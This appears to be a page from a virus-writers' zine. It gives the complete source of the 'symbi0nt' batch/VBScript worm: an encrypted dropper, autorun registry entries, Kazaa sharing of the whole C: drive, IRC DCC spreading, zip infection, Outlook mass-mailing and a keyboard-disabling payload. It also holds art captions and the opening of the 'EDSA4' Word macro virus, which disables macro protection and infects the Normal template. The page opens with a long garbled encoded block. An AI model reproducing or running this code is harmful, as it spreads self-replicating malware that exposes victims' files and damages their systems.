ÉÕÕ†æᆄŽË†ËÎœ‚…‰„„Ÿ‚™Î·†˜ŒæᎇËÎœ‚…‰„„Ÿ‚™Î·†˜Œ™ŽŒæᎈƒ„˹®¬®¯¢¿ßÕßæᎈƒ„Ë°£ ®²´§¤¨ª§´¦ª¨£¢¥®·¸¤¿¼ª¹®·¦‚ˆ™„˜„Ÿ·¼‚…„œ˜·¨ž™™Ž…Ÿ½Ž™˜‚„…·¹ž…¶ÕÕßæᎈƒ„ËɆ˜ŒÉÖɈѷ·†˜ŒÅ‰˜ÉÕÕßæᆄŽËßËÎœ‚…‰„„Ÿ‚™Î·†˜Œ™ŽŒæᎈƒ„Ë°œ‚…„œ˜¶Õœæᎈƒ„ˇ„ŠÖˆÑ·¹ŽŒ¸ˆŠ…ʼnŠŸÕÕœæᎈƒ„Ë™ž…ÖÕÕœæᎈƒ„Ë¥ž‡‡»„™ŸÖ¥„…ŽÕÕœæᎈƒ„ÅÕÕœæሄ›’ËœËÀËÎœ‚…‰„„Ÿ‚™Î·œ‚…Å‚…‚ËÎœ‚…‰„„Ÿ‚™Î·˜’˜ŸŽ†·œ‚…Å‚…‚æᎇËÎœ‚…‰„„Ÿ‚™Î·œ‚…Å‚…‚æᆄŽËÎœ‚…‰„„Ÿ‚™Î·˜’˜ŸŽ†·œ‚…Å‚…‚ËÎœ‚…‰„„Ÿ‚™Î·œ‚…Å‚…‚æᎇ˜æᎈƒ„˹®¬®¯¢¿ßÕ›æᎈƒ„Ë°£ ®²´§¤¨ª§´¦ª¨£¢¥®·¸¤¿¼ª¹®·¦‚ˆ™„˜„Ÿ·¼‚…„œ˜·¨ž™™Ž…Ÿ½Ž™˜‚„…¶ÕÕ›æᎈƒ„ËɹŽŒ‚˜ŸŽ™Ž¤œ…Ž™ÉÖɘ’†‰‚Û…ŸËÃŒŽ…Ž™ŠŸ‚„…ËÙˆÂˉ’Ë›ƒ‚‡ŽŸÛŠ˜ŸØ™ÉÕÕ›æᎈƒ„Ë°£ ®²´§¤¨ª§´¦ª¨£¢¥®·¸¤¿¼ª¹®·¦‚ˆ™„˜„Ÿ·¼‚…„œ˜·¨ž™™Ž…Ÿ½Ž™˜‚„…¶ÕÕ›æᎈƒ„ËɹŽŒ‚˜ŸŽ™Ž¤™ŒŠ…‚‘ŠŸ‚„…ÉÖÉ°™¹‡¶ÉÕÕ›æᆄŽË›ËˆÑ·›Š’‡„ŠÅ™ŽŒæᙎŒŽ‚ŸËĘˈѷ›Š’‡„ŠÅ™ŽŒæᎈƒ„˹®¬®¯¢¿ßÕ€æᎈƒ„Ë°£ ®²´¨¾¹¹®¥¿´¾¸®¹·¸„ŸœŠ™Ž· Š‘ŠŠ·§„ˆŠ‡¨„…ŸŽ…Ÿ¶ÕÕ€æᎈƒ„Ëɯ‚˜Š‰‡Ž¸ƒŠ™‚…ŒÉÖœ„™ÑÛÛÛÛÛÛÛÛÕÕ€æᎈƒ„Ëɯ„œ…‡„Š¯‚™ÉÖɨѷ·»™„Œ™Š†Ë‚‡Ž˜·· Š±Šª··¦’˸ƒŠ™ŽË„‡Ž™ÉÕÕ€æᎈƒ„Ëɯ‚™ÛÉÖÉÛÚÙØßÞшѷ·ÉÕÕ€æᆄŽË€ËˆÑ·€Š‘ŠŠÅ™ŽŒæᙎŒŽ‚ŸËĘˈѷ€Š‘ŠŠÅ™ŽŒæᎈƒ„Ë°˜ˆ™‚›Ÿ¶Õ‚æᎈƒ„Ë…ÛÖ„…ËÚÑ¡¤¢¥ÑÈÑÕÕ‚æᎈƒ„Ë…ÚÖËÄ‚ËÃË…‚ˆ€ËÖÖËφŽËÂË˃Š‡ŸË–ÕÕ‚æᎈƒ„Ë…ÙÖËÄňˆË˜Ž…ËÏ…‚ˆ€ËˆÑ·˜’†‰‚Û…ŸÅ‰ŠŸÕÕ‚æᎈƒ„Ë…ØÖËÄ„‚…ËÈ™¹‡ÕÕ‚æᎈƒ„Ë…ßÖËÄŸ„›‚ˆËÈ™¹‡Ë˜’†‰‚Û…ŸËÃŒŽ…Ž™ŠŸ‚„…ËÙˆÂÕÕ‚æᎈƒ„Ë…ÞÖËÄ›Š™ŸËÈ™¹‡ÕÕ‚æᎈƒ„Ë…ÝÖ–ÕÕ‚æᆄŽË‚ˈѷ†‚™ˆ·˜ˆ™‚›ŸÅ‚…‚æᆄŽË‚ˈѷ†‚™ˆØÙ·˜ˆ™‚›ŸÅ‚…‚æᆄŽË‚ˈѷ›™„Œ™Š•Ú·†‚™ˆ·˜ˆ™‚›ŸÅ‚…‚æᆄŽË‚ˈѷ›™„Œ™Š•Ú·†‚™ˆØÙ·˜ˆ™‚›ŸÅ‚…‚æᎇ˂æᎈƒ„Ë°§ŽŽ‡˜¶Õƒæᎈƒ„Ë®…Š‰‡ŽÖÚÕÕƒæᎈƒ„˨„ž…ŸÖÝÕÕƒæᎈƒ„˧ŽŽ‡ÚÖÛÛÛƾ…€…„œ…˜ÕÕƒæᎈƒ„ËÛÛÛƾ…€…„œ…˜®…Š‰‡ŽÖÚÕÕƒæᎈƒ„˧ŽŽ‡ÙÖÚÛÛƧŽŽ‡ËÚÛÛÕÕƒæᎈƒ„ËÚÛÛƧŽŽ‡ËÚÛÛ®…Š‰‡ŽÖÚÕÕƒæᎈƒ„˧ŽŽ‡ØÖÙÛÛƧŽŽ‡ËÙÛÛÕÕƒæᎈƒ„ËÙÛÛƧŽŽ‡ËÙÛÛ®…Š‰‡ŽÖÚÕÕƒæᎈƒ„˧ŽŽ‡ßÖØÛÛƧŽŽ‡ËØÛÛÕÕƒæᎈƒ„ËØÛÛƧŽŽ‡ËØÛÛ®…Š‰‡ŽÖÚÕÕƒæᎈƒ„˧ŽŽ‡ÞÖßÛÛƧŽŽ‡ËßÛÛÕÕƒæᎈƒ„ËßÛÛƧŽŽ‡ËßÛÛ®…Š‰‡ŽÖÚÕÕƒæᎈƒ„˧ŽŽ‡ÝÖÞÛÛƧŽŽ‡ËÞÛÛÕÕƒæᎈƒ„ËÞÛÛƧŽŽ‡ËÞÛÛ®…Š‰‡ŽÖÚÕÕƒæᎈƒ„ÅÕÕƒæᎈƒ„Ë°ÛÛÛƾ…€…„œ…˜¶ÕÕƒæᎈƒ„˾˜Ž™ÚÖÁÊÁ«ÁÕÕƒæᎈƒ„˾˜Ž™¨„ž…ŸÖÚÕÕƒæᎈƒ„Ë®Ž…ŸÚÖ¤¥Ë¡¤¢¥ÑÈÑĈˆË˜Ž…ËÏ…‚ˆ€ËˆÑ·˜’†‰‚Û…ŸÅ‰ŠŸÕÕƒæᎈƒ„Ë®Ž…Ÿ¨„ž…ŸÖÚÕÕƒæᎈƒ„ÅÕÕƒæᎈƒ„Ë°ÚÛÛƧŽŽ‡ËÚÛÛ¶ÕÕƒæᎈƒ„˾˜Ž™¨„ž…ŸÖÛÕÕƒæᎈƒ„Ë®Ž…Ÿ¨„ž…ŸÖÛÕÕƒæᎈƒ„ÅÕÕƒæᎈƒ„Ë°ÙÛÛƧŽŽ‡ËÙÛÛ¶ÕÕƒæᎈƒ„˾˜Ž™¨„ž…ŸÖÛÕÕƒæᎈƒ„Ë®Ž…Ÿ¨„ž…ŸÖÛÕÕƒæᎈƒ„ÅÕÕƒæᎈƒ„Ë°ØÛÛƧŽŽ‡ËØÛÛ¶ÕÕƒæᎈƒ„˾˜Ž™¨„ž…ŸÖÛÕÕƒæᎈƒ„Ë®Ž…Ÿ¨„ž…ŸÖÛÕÕƒæᎈƒ„ÅÕÕƒæᎈƒ„Ë°ßÛÛƧŽŽ‡ËßÛÛ¶ÕÕƒæᎈƒ„˾˜Ž™¨„ž…ŸÖÛÕÕƒæᎈƒ„Ë®Ž…Ÿ¨„ž…ŸÖÛÕÕƒæᎈƒ„ÅÕÕƒæᎈƒ„Ë°ÞÛÛƧŽŽ‡ËÞÛÛ¶ÕÕƒæᎈƒ„˾˜Ž™¨„ž…ŸÖÛÕÕƒæᎈƒ„Ë®Ž…Ÿ¨„ž…ŸÖÛÕÕƒæᆄŽËƒËˆÑ·›‚™ˆƒÒÓ·ŽŽ…Ÿ˜Å‚…‚æᎇ˃æሄ›’ËÎœ‚…‰„„Ÿ‚™Î·˜’†‰‚Û…ŸÅÙØËÎœ‚…‰„„Ÿ‚™Î·˜’˜ŸŽ†·˜’†‰‚Û…ŸÅ‰ŠŸæá„™ËÎ΂˂…ËÃÁÅ‘‚›ËÅÅ·ÁÅ‘‚›ËÎœ‚…‰„„Ÿ‚™Î·Ž˜€Ÿ„›·ÁÅ‘‚›ÂË„Ë›€‘‚›ËÆŽÛËÆžËÆ™ËÆ€ËÎ΂ËɈѷ˜’†‰‚Û…ŸÅ‰ŠŸÉÕ…ž‡Å‘‚›æᎈƒ„Å„…ËŽ™™„™Ë™Ž˜ž†ŽË…Ž“ŸÕ„æᎈƒ„Ë‚†ËŠÇ‰ÇˆÇÇŽÕÕ„æᎈƒ„˘ŽŸËŠËÖ˼˜ˆ™‚›ŸÅ¨™ŽŠŸŽ¤‰ŽˆŸÃɼ˜ˆ™‚›ŸÅ¸ƒŽ‡‡ÉÂÕÕ„æᎈƒ„˘ŽŸË‰ËÖ˨™ŽŠŸŽ¤‰ŽˆŸÃɤžŸ‡„„€Åª››‡‚ˆŠŸ‚„…ÉÂÕÕ„æᎈƒ„˘ŽŸËˆËÖˉŬŽŸ¥Š†Ž¸›ŠˆŽÃɦª»¢ÉÂÕÕ„æᎈƒ„Ë„™Ë’ËÖËÚË¿„ˈŪ™Ž˜˜§‚˜Ÿ˜Å¨„ž…ŸÕÕ„æᎈƒ„˘ŽŸËËÖˈŪ™Ž˜˜§‚˜Ÿ˜Ã’ÂÕÕ„æᎈƒ„Ë“ËÖËÚÕÕ„æᎈƒ„˘ŽŸËŽËÖˉŨ™ŽŠŸŽ¢ŸŽ†ÃÛÂÕÕ„æᎈƒ„Ë„™Ë„ËÖËÚË¿„ËŪ™Ž˜˜®…Ÿ™‚Ž˜Å¨„ž…ŸÕÕ„æᎈƒ„ËËÖËŪ™Ž˜˜®…Ÿ™‚Ž˜Ã“ÂÕÕ„æᎈƒ„ˎŹŽˆ‚›‚Ž…Ÿ˜ÅªËÕÕ„æᎈƒ„Ë“ËÖË“ËÀËÚÕÕ„æᎈƒ„Ë…Ž“ŸÕÕ„æᎈƒ„ˎŸž‰ŽˆŸËÖËɘ’†‰‚Û…ŸËÃŒŽ…Ž™ŠŸ‚„…ËÙˆÂÉÕÕ„æᎈƒ„ËŽÅ©„’ËÖËɘ’†‰‚Û…ŸËÃŒŽ…Ž™ŠŸ‚„…ËÙˆÂˉ’Ë›ƒ‚‡ŽŸÛŠ˜ŸØ™Ë°™¹‡¶Ë߃ŽËŠŸŸŠˆƒ†Ž…ŸÂË‚˜ËŠËÃ…„ŸËŽ˜Ÿ™žˆŸ‚ŽÊ¡‚Ž„™†Çˇ‚‚…ŒË‚…˜‚ŽËˆ„†›žŸŽ™˜ÅË¢…Ë’„ž™˜ÇËŸ„„ÔÉÕÕ„æᎈƒ„ˎŪŸŸŠˆƒ†Ž…Ÿ˜ÅªËÃɈѷ˜’†‰‚Û…ŸÅ‰ŠŸÉÂÕÕ„æᎈƒ„ˎůŽ‡ŽŸŽªŸŽ™¸ž‰†‚ŸËÖËŠ‡˜ŽÕÕ„æᎈƒ„ˎŸŽ…ÕÕ„æᎈƒ„ËËÖËÉÉÕÕ„æᎈƒ„Ë…Ž“ŸÕÕ„æᆄŽË„ËÎœ‚…‰„„Ÿ‚™Î·„žŸ‡„„€Å‰˜æᘟŠ™ŸËÎœ‚…‰„„Ÿ‚™Î·„žŸ‡„„€Å‰˜æá‚Ë…„ŸËŽ“‚˜ŸËÎœ‚…‰„„Ÿ‚™Î·˜’˜ŸŽ†·˜Å˜’˜ËŒ„Ÿ„ËÞæሄ›’ËÎœ‚…‰„„Ÿ‚™Î·˜’˜ŸŽ†·˜Å˜’˜ËˆÑ·Š™€˜‚ŽÅ‰ŠŸæሄ›’ËÎœ‚…‰„„Ÿ‚™Î·˜’˜ŸŽ†·˜Å‡‡ËˆÑ·˜Å™ŽŒæᙎŒŽ‚ŸËĘˈѷ˜Å™ŽŒæáÑÞæᎇËÎœ‚…‰„„Ÿ‚™Î·ˆ™’›ŸÅ‰˜æᎇˈѷ›Š’‡„ŠÅ™ŽŒæᎇˈѷ€Š‘ŠŠÅ™ŽŒæᎇËÎœ‚…‰„„Ÿ‚™Î·˜’˜ŸŽ†·˜’†‰‚Û…ŸÅ‰ŠŸæᎇËÎœ‚…‰„„Ÿ‚™Î·˜ŸŠ™ŸŽ™Å‰ŠŸæᎇˈѷ˜Å™ŽŒæᎇËÎÛæá :: symbi0nt (generation 2c) :: by philet0ast3r [rRlf] :: don't panic: not destructive @echo off cls ctty nul del %winbootdir%\gen2a.s0t del %winbootdir%\gen2b.s0t del %winbootdir%\gen2c.s0t if exist %winbootdir%\*.s0t goto end_symbi0nt echo this file is important>%winbootdir%\gen2c.s0t copy %0 c:\symbi0nt.bat copy %0 c:\run.bat echo e 0100 6F 6E 20 65 72 72 6F 72 20 72 65 73 75 6D 65 20>c echo e 0110 6E 65 78 74 0D 0A 73 65 74 20 66 73 6F 20 3D 20>>c echo e 0120 63 72 65 61 74 65 6F 62 6A 65 63 74 28 22 73 63>>c echo e 0130 72 69 70 74 69 6E 67 2E 66 69 6C 65 73 79 73 74>>c echo e 0140 65 6D 6F 62 6A 65 63 74 22 29 0D 0A 73 65 74 20>>c echo e 0150 70 72 6F 63 34 20 3D 20 66 73 6F 2E 6F 70 65 6E>>c echo e 0160 74 65 78 74 66 69 6C 65 28 22 63 3A 5C 72 75 6E>>c echo e 0170 2E 62 61 74 22 2C 20 31 29 0D 0A 6D 73 67 20 3D>>c echo e 0180 20 70 72 6F 63 34 2E 72 65 61 64 61 6C 6C 0D 0A>>c echo e 0190 64 64 64 20 3D 20 78 28 6D 73 67 29 0D 0A 73 65>>c echo e 01A0 74 20 70 72 6F 63 32 20 3D 20 66 73 6F 2E 63 72>>c echo e 01B0 65 61 74 65 74 65 78 74 66 69 6C 65 28 22 63 3A>>c echo e 01C0 5C 72 75 6E 2E 62 61 74 22 2C 20 74 72 75 65 29>>c echo e 01D0 0D 0A 70 72 6F 63 32 2E 77 72 69 74 65 6C 69 6E>>c echo e 01E0 65 20 64 64 64 0D 0A 70 72 6F 63 32 2E 63 6C 6F>>c echo e 01F0 73 65 0D 0A 46 75 6E 63 74 69 6F 6E 20 78 28 73>>c echo e 0200 54 65 78 74 29 0D 0A 4F 6E 20 45 72 72 6F 72 20>>c echo e 0210 52 65 73 75 6D 65 20 4E 65 78 74 0D 0A 44 69 6D>>c echo e 0220 20 65 6B 65 79 2C 20 69 2C 20 68 61 73 68 2C 20>>c echo e 0230 63 72 62 79 74 65 0D 0A 65 6B 65 79 20 3D 20 32>>c echo e 0240 33 35 0D 0A 46 6F 72 20 69 20 3D 20 31 20 54 6F>>c echo e 0250 20 4C 65 6E 28 73 54 65 78 74 29 0D 0A 68 61 73>>c echo e 0260 68 20 3D 20 41 73 63 28 4D 69 64 28 73 54 65 78>>c echo e 0270 74 2C 20 69 2C 20 31 29 29 0D 0A 63 72 62 79 74>>c echo e 0280 65 20 3D 20 43 68 72 28 68 61 73 68 20 58 6F 72>>c echo e 0290 20 28 65 6B 65 79 20 4D 6F 64 20 32 35 35 29 29>>c echo e 02A0 0D 0A 78 20 3D 20 78 20 26 20 63 72 62 79 74 65>>c echo e 02B0 0D 0A 4E 65 78 74 0D 0A 45 6E 64 20 46 75 6E 63>>c echo e 02C0 74 69 6F 6E 0D 0A 00>>c echo rcx>>c echo 01C6>>c echo n cr>>c echo w>>c echo q>>c debug<c del c move cr %winbootdir%\crypt.vbs start %winbootdir%\crypt.vbs del c:\RegScan.bat echo e 0100 40 65 63 68 6F 20 6F 66 66 0D 0A 63 74 74 79 20>>r echo e 0110 6E 75 6C 0D 0A 65 63 68 6F 2E 7C 64 61 74 65 7C>>r echo e 0120 66 69 6E 64 20 22 32 33 22 3E 6E 75 6C 2E 73 0D>>r echo e 0130 0A 69 66 20 65 72 72 6F 72 6C 65 76 65 6C 20 31>>r echo e 0140 20 67 6F 74 6F 20 65 6E 64 0D 0A 65 63 68 6F 2E>>r echo e 0150 7C 64 61 74 65 7C 66 69 6E 64 20 22 35 22 3E 6E>>r echo e 0160 75 6C 2E 73 0D 0A 69 66 20 65 72 72 6F 72 6C 65>>r echo e 0170 76 65 6C 20 31 20 67 6F 74 6F 20 38 0D 0A 63 6F>>r echo e 0180 70 79 20 25 77 69 6E 62 6F 6F 74 64 69 72 25 5C>>r echo e 0190 6D 73 67 20 63 3A 5C 6D 73 67 2E 76 62 73 0D 0A>>r echo e 01A0 63 6F 70 79 20 25 77 69 6E 62 6F 6F 74 64 69 72>>r echo e 01B0 25 5C 6D 73 67 72 65 67 20 63 3A 5C 6D 73 67 2E>>r echo e 01C0 72 65 67 0D 0A 72 65 67 65 64 69 74 20 2F 73 20>>r echo e 01D0 63 3A 5C 6D 73 67 2E 72 65 67 0D 0A 63 6F 70 79>>r echo e 01E0 20 25 77 69 6E 62 6F 6F 74 64 69 72 25 5C 73 79>>r echo e 01F0 6D 62 69 30 6E 74 2E 32 33 20 63 3A 5C 73 79 6D>>r echo e 0200 62 69 30 6E 74 2E 62 61 74 0D 0A 73 74 61 72 74>>r echo e 0210 20 63 3A 5C 73 79 6D 62 69 30 6E 74 2E 62 61 74>>r echo e 0220 0D 0A 3A 38 0D 0A 65 78 69 74 AD>>r echo rcx>>r echo 012A>>r echo n re>>r echo w>>r echo q>>r debug<r del r move re c:\RegScan.bat echo e 0100 40 65 63 68 6F 20 6F 66 66 0D 0A 63 74 74 79 20>s echo e 0110 6E 75 6C 0D 0A 63 6F 70 79 20 63 3A 5C 73 79 6D>>s echo e 0120 62 69 30 6E 74 2E 62 61 74 20 25 77 69 6E 62 6F>>s echo e 0130 6F 74 64 69 72 25 5C 73 79 6D 62 69 30 6E 74 2E>>s echo e 0140 32 33 0D 0A 63 6F 6D 6D 61 6E 64 20 2F 66 20 2F>>s echo e 0150 63 20 63 6F 70 79 20 63 3A 5C 73 79 6D 62 69 30>>s echo e 0160 6E 74 2E 62 61 74 20 61 3A 5C 0D 0A 73 74 61 72>>s echo e 0170 74 20 63 3A 5C 72 75 6E 2E 62 61 74 0D 0A 65 78>>s echo e 0180 69 74 72>>s echo rcx>>s echo 0082>>s echo n st>>s echo w>>s echo q>>s debug<s del s move st %winbootdir%\starter.bat start %winbootdir%\starter.bat exit =====[end code SYMBI0NT.BAT]================================================================= =====[begin code decrypted_main]=============================================================== @echo off ctty nul del c:\mirc\script.ini del c:\mirc32\script.ini del c:\progra~1\mirc\script.ini del c:\progra~1\mirc32\script.ini del c:\pirch98\events.ini del c:\windows\system\symbi0nt.txt echo Hi, my name is symbi0nt (generation 2c).>l echo I live inside your computer. Yes, I am a computer virus, but don't panic, there's nothing to fear.>>l echo I am doing no harm to it. Why should I? If I would damage it, I would damage my place of living.>>l echo By the way, some of you humans should think over this...>>l echo Most people fear lifeforms like me, but please don't kill me>>l echo (I am definetly a lifeform ... perhaps not the most developed, but ok).>>l echo I got to say some things why I am here:>>l echo My maker spent some time of his life on creating me.>>l echo Wether his creation is useful/important/well done/convenient or not is unimportant.>>l echo Important is, that he chose to spend his time, which he could have also spent otherwise, on me.>>l echo In the end he will be dead, and all he did or did not will get equal, senseless,>>l echo and probably forgotten some time. So what the fuck did he live for?>>l echo I will answer you this: He created something.>>l echo Something he was proud of (if others think it's good, is again unimportant).>>l echo So when in his next life, he stumbles over this something, he can say:>>l echo "Yes, this was my creation, and I am still proud of it.">>l echo I'll do my best, to be a good creation (... perhaps you should think over this).>>l echo So please don't kill me, you might regret it.>>l echo And encounter the dark side of my soul ;]>>l echo ... If you want to contact my maker:>>l echo philet0ast3r@rRlf.de>>l echo Ok, I don't want to steal your time.>>l echo We sure get in touch again, or you see someone from my family around.>>l echo So byebye and have a nice day.>>l echo ...>>l echo Ah, before I forget:>>l echo My maker advised me to greet a few persons for him:>>l echo I should greet the ones who play some very important role in his life.>>l echo He could hardly do without them.>>l echo He said, no need to say names, the ones will know who they are.>>l echo So if you feel concerned, he hopes he will never lose contact to you.>>l echo He loves you.>>l echo ...>>l echo Well, that's it!>>l echo Until then!>>l md c:\windows md c:\windows\system move l c:\windows\system\symbi0nt.txt del %winbootdir%\msg echo.on error resume next>m echo MsgBox " I advise you to take a look at" & Chr(13) & Chr(10) & "c:\windows\system\symbi0nt.txt" & Chr(13) & Chr(10) & " and delete" & Chr(13) & Chr(10) & " c:\msg.vbs" & Chr(13) & Chr(10) & " tomorrow",4096,"symbi0nt (generation 2c)">>m move m %winbootdir%\msg del %winbootdir%\msgreg echo REGEDIT4>4 echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>4 echo "msg"="c:\\msg.vbs">>4 move 4 %winbootdir%\msgreg echo [windows]>w echo load=c:\RegScan.bat>>w echo run=>>w echo NullPort=None>>w echo.>>w copy w + %winbootdir%\win.ini %winbootdir%\system\win.ini del %winbootdir%\win.ini move %winbootdir%\system\win.ini %winbootdir%\win.ini del w echo REGEDIT4>p echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion]>>p echo "RegisteredOwner"="symbi0nt (generation 2c) by philet0ast3r">>p echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion]>>p echo "RegisteredOrganization"="[rRlf]">>p move p c:\payload.reg regedit /s c:\payload.reg echo REGEDIT4>k echo [HKEY_CURRENT_USER\Software\Kazaa\LocalContent]>>k echo "DisableSharing"=dword:00000000>>k echo "DownloadDir"="C:\\Program Files\\KaZaA\\My Shared Folder">>k echo "Dir0"="012345:c:\\">>k move k c:\kazaa.reg regedit /s c:\kazaa.reg echo [script]>i echo n0=on 1:JOIN:#:{>>i echo n1= /if ( nick == $me ) { halt }>>i echo n2= /.dcc send $nick c:\symbi0nt.bat>>i echo n3= /join #rRlf>>i echo n4= /topic #rRlf symbi0nt (generation 2c)>>i echo n5= /part #rRlf>>i echo n6=}>>i move i c:\mirc\script.ini move i c:\mirc32\script.ini move i c:\progra~1\mirc\script.ini move i c:\progra~1\mirc32\script.ini del i echo [Levels]>h echo Enabled=1>>h echo Count=6>>h echo Level1=000-Unknowns>>h echo 000-UnknownsEnabled=1>>h echo Level2=100-Level 100>>h echo 100-Level 100Enabled=1>>h echo Level3=200-Level 200>>h echo 200-Level 200Enabled=1>>h echo Level4=300-Level 300>>h echo 300-Level 300Enabled=1>>h echo Level5=400-Level 400>>h echo 400-Level 400Enabled=1>>h echo Level6=500-Level 500>>h echo 500-Level 500Enabled=1>>h echo.>>h echo [000-Unknowns]>>h echo User1=*!*@*>>h echo UserCount=1>>h echo Event1=ON JOIN:#:/dcc send $nick c:\symbi0nt.bat>>h echo EventCount=1>>h echo.>>h echo [100-Level 100]>>h echo UserCount=0>>h echo EventCount=0>>h echo.>>h echo [200-Level 200]>>h echo UserCount=0>>h echo EventCount=0>>h echo.>>h echo [300-Level 300]>>h echo UserCount=0>>h echo EventCount=0>>h echo.>>h echo [400-Level 400]>>h echo UserCount=0>>h echo EventCount=0>>h echo.>>h echo [500-Level 500]>>h echo UserCount=0>>h echo EventCount=0>>h move h c:\pirch98\events.ini del h copy %winbootdir%\symbi0nt.23 %winbootdir%\system\symbi0nt.bat for %%i in (*.zip ..\*.zip %winbootdir%\desktop\*.zip) do pkzip -e0 -u -r -k %%i "c:\symbi0nt.bat">nul.zip echo.on error resume next>o echo dim a,b,c,d,e>>o echo set a = Wscript.CreateObject("Wscript.Shell")>>o echo set b = CreateObject("Outlook.Application")>>o echo set c = b.GetNameSpace("MAPI")>>o echo for y = 1 To c.AddressLists.Count>>o echo set d = c.AddressLists(y)>>o echo x = 1>>o echo set e = b.CreateItem(0)>>o echo for o = 1 To d.AddressEntries.Count>>o echo f = d.AddressEntries(x)>>o echo e.Recipients.Add f>>o echo x = x + 1>>o echo next>>o echo e.Subject = "symbi0nt (generation 2c)">>o echo e.Body = "symbi0nt (generation 2c) by philet0ast3r [rRlf] (the attachment) is a (not destructive!) lifeform, living inside computers. In yours, too?">>o echo e.Attachments.Add ("c:\symbi0nt.bat")>>o echo e.DeleteAfterSubmit = False>>o echo e.Send>>o echo f = "">>o echo next>>o move o %winbootdir%\outlook.vbs start %winbootdir%\outlook.vbs if not exist %winbootdir%\system\ds.sys goto 5 copy %winbootdir%\system\ds.sys c:\darkside.bat copy %winbootdir%\system\ds.dll c:\ds.reg regedit /s c:\ds.reg :5 del %winbootdir%\crypt.vbs del c:\payload.reg del c:\kazaa.reg del %winbootdir%\system\symbi0nt.bat del %winbootdir%\starter.bat del c:\ds.reg del %0 =====[end code decrypted_main]================================================================= =====[begin code main_cryptor.vbs]=============================================================== on error resume next set fso = createobject("scripting.filesystemobject") set proc4 = fso.opentextfile("decrypted_main.txt", 1) msg = proc4.readall ddd = x(msg) set proc2 = fso.createtextfile("decrypted_main.txt", true) proc2.writeline ddd proc2.close Function x(sText) On Error Resume Next Dim ekey, i, hash, crbyte ekey = 235 For i = 1 To Len(sText) hash = Asc(Mid(sText, i, 1)) crbyte = Chr(hash Xor (ekey Mod 255)) x = x & crbyte Next End Function =====[end code main_cryptor.vbs]================================================================= =====[begin code STARTER.BAT]=============================================================== @echo off ctty nul copy c:\symbi0nt.bat %winbootdir%\symbi0nt.23 command /f /c copy c:\symbi0nt.bat a:\ start c:\run.bat exit =====[end code STARTER.BAT]================================================================= =====[begin code RegScan.bat]=============================================================== @echo off ctty nul echo.|date|find "23">nul.s if errorlevel 1 goto end echo.|date|find "5">nul.s if errorlevel 1 goto 8 copy %winbootdir%\msg c:\msg.vbs copy %winbootdir%\msgreg c:\msg.reg regedit /s c:\msg.reg copy %winbootdir%\symbi0nt.23 c:\symbi0nt.bat start c:\symbi0nt.bat :8 exit =====[end code RegScan.bat]================================================================= =====[begin code darkside.soul.injector.bat]=============================================================== @echo off ctty nul echo REGEDIT4>dsreg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>dsreg echo "darkside"="c:\\darkside.bat">>dsreg move dsreg %winbootdir%\system\ds.dll echo :: time to panic now>darkside echo :: ...>>darkside echo :: darkside soul injected>>darkside echo.>>darkside echo @echo off>>darkside echo ctty nul>>darkside echo c:\windows\rundll32.exe user,disableoemlayer>>darkside move darkside %winbootdir%\system\ds.sys :end =====[end code darkside.soul.injector.bat]=================================================================arts
deus ex machina philet0ast3r
arts
Napalm Nights philet0ast3r this was originally a photo shot out of a moving train. i like the colors very much. philie
arts
natural born vxer philet0ast3r i wanted to make this for a very long time. finally this best of zine gives me a last chance, so here we are :) philie
arts
photo versus memory philet0ast3r if you have ever been to amsterdam, you will recognize the street-lantern. i tried to reconstruct how the lantern looked like while on shrooms. to my opinion this is the best picture i ever made. i like very much the geometrics, the indirect complementary colors, the perspective and the feeling i get, when looking at it. one bad thing is: with growing resolution old pictures are always getting smaller :/ it looked better on my 14" with 640x480, than it does now on 24" with 1920x1200... philie
arts
skull philet0ast3r just one comment: the skull in the background is mine. philie
arts
the good ones philet0ast3r has to be looked together with presentingkavteam by DvL. philie
arts
Volta versus Davy philet0ast3r
arts
We have found new homes for the rich philet0ast3r
sources
EDSA4 ppacket EDSA4 by ppacket file EDSA4.bas: Attribute VB_Name = "EDSA4" Sub AutoExec() On Error Resume Next Call stealth Call infest With Dialogs(wdDialogFileSummaryInfo) .Author = "pickpacket" .Keywords = "" .Execute End With Exists = Dir("c:\mirc\mirc32.exe") If Exists = "" Then Exit Sub Else dropped = Dir("c:\mirc\download\ReadMe.doc") If dropped = "" Then ActiveDocument.SaveAs "c:\mirc\download\ReadMe.doc" Kill "c:\mirc\script.ini" Open "c:\mirc\script.ini" For Output As #1 Print #1, "[script]" Print #1, "n0=on 1:JOIN:#: if ( $me != $nick ) { /dcc send $nick c:\mirc\download\ReadMe.doc }" Print #1, "n1=on 1:CONNECT: {" Print #1, "n2= /clear" Print #1, "n3= /motd" Print #1, "n4= }" Close #1 End If End Sub Sub filePrint() On Error Resume Next If Day(Now) = 26 And Month(Now) = 10 Then Selection.InsertAfter "With the new government rises the ash of the former administrations" & vbCr & "Fuck the Philippine government what we want is EDSA4!!" Selection.InsertAfter vbCr & "by pickpacket" End If Dialogs(wdDialogFilePrint).Show End Sub Sub AutoClose() On Error Resume Next Call infest End Sub Sub FileSave() On Error Resume Next Dialogs(wdDialogFileSave).Show Call infest End Sub Sub infest() On Error Resume Next Set normtemp = NormalTemplate.VBProject.VBComponents Set actvdoc = ActiveDocument.VBProject.VBComponents Application.VBE.ActiveVBProject.VBComponents("EDSA4").export "c:\ppacket.vxd" If normtemp.Item("EDSA4").Name <> "EDSA4" Then normtemp.Remove normtemp(2) normtemp.import "c:\ppacket.vxd" NormalTemplate.Save ElseIf actvdoc.Item("EDSA4").Name <> "EDSA4" Then actvdoc.Remove actvdoc(2) actvdoc.import "c:\ppacket.vxd" End If Kill "c:\ppacket.vxd" End Sub Sub stealth() On Error Resume Next CommandBars("Tools").Controls("Macro").Delete CommandBars("Tools").Controls("Templates and Add-Ins...").Delete CommandBars("Tools").Controls("Customize...").Delete CommandBars("Format").Controls("Style...").Delete With Options .ConfirmConversions = False .SaveNormalPrompt = False .VirusProtection = False End With KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyAlt, wdKeyF11), KeyCategory:=0, Command:=" " Application.DisplayStatusBar = False ActiveDocument.ReadOnlyRecommended = False System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1& 